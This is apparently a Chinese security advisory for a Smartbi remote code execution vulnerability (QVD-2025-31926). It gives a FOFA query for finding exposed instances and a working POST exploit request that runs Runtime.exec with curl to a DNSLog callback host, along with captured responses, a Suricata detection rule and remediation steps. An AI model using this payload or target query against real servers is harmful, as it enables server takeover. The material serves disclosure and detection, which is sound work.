

Smartbi 远程代码执行漏洞(QVD-2025-31926)

Smartbi 远程代码执行漏洞(QVD-2025-31926)，攻击者可执行任意命令导致服务器被控。

影响版本

Smartbi

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="SMARTBI"

POC/EXP:

```
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: JSESSIONID=810863C9F06505AEF3867581A47AA35C
Connection: keep-alive

className=MetricsModelForVModule&methodName=checkExpression&params=
["java.lang.Runtime.getRuntime().exec('curl fimmnxmlze.iyhceu.org')"]
```

DNS

内置

自定义

内置DNSLog: 内置

生成一个可用域名

当前激活域名为: [fimmnxmize.lyhc.eu.org](#)

只看A记录: ☐ 自动刷新记录: ☐

域名	类型	远端IP
fimmnxmize.lyhc.eu.org	A	139.150.10.10
fimmnxmize.lyhc.eu.org	HTTP	139.150.10.10
fimmnxmize.lyhc.eu.org	-	127.0.0.1
fimmnxmize.lyhc.eu.org	-	127.0.0.1

Request

< > 数据包扫描 美化 HEX 原始 构造请求

41bytes / 152ms

美化 HEX 编辑 请输入定位地址

1 POST /smartbi/vision/RMIServlet HTTP/1.1

2 Host: fimmnxmize.lyhc.eu.org

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36

4 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

5 Cookie: JSESSIONID=810863C9F96595AEF3867581A47AA35C

6 Connection: keep-alive

7

8 className=MetricsModelForVModule&methodName=checkExpression¶ms=["java.lang.Runtime.getRuntime().exec('curl -fimmnxmize.lyhc.eu.org')"]

1 HTTP/1.1 200

2 Date: Thu, 21 Aug 2025 12:43:24 GMT

3 Content-Type: text/plain; charset=UTF-8

4 Connection: keep-alive

5 Set-Cookie: bacc1f3d-7938-421d-969d-48b6e4d940bd=0ded7be70a4fa435e293bfc77c9632e6; Path=/; Max-Age=86400; Expires=Fri, 22-Aug-25 12:43:24 GMT; HttpOnly

6 Server: elb

7 Content-Length: 49

8

9 {"retCode":0,"result":true,"duration":27}

10

sonrt规则:

```
alert http any any -> $HOME_NET any (
  msg:"Smartbi - Remote Code Execution via RMIServlet (QVD-2025-31926)";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"/smartbi/vision/RMIServlet";
  http.header; content:"Content-Type: application/x-www-form-urlencoded";
  http.request_body; content:"className=MetricsModelForVModule";
  http.request_body; content:"methodName=checkExpression";
  pcre:"/params=\\\\"java\\.lang\\.Runtime\\.getRuntime\\(\\)\\.exec\\(\\[\\^\\]\\+\\)\\\\"/i";
  metadata:
    cve QVD-2025-31926,
    service http,
    affected_product "Smartbi",
    vulnerability_type "Java Remote Code Execution",
    attack_target "application_server",
    severity "critical";
  reference:url,www.example.com/QVD-2025-31926;
  classtype:web-application-attack;
  sid:1000461;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。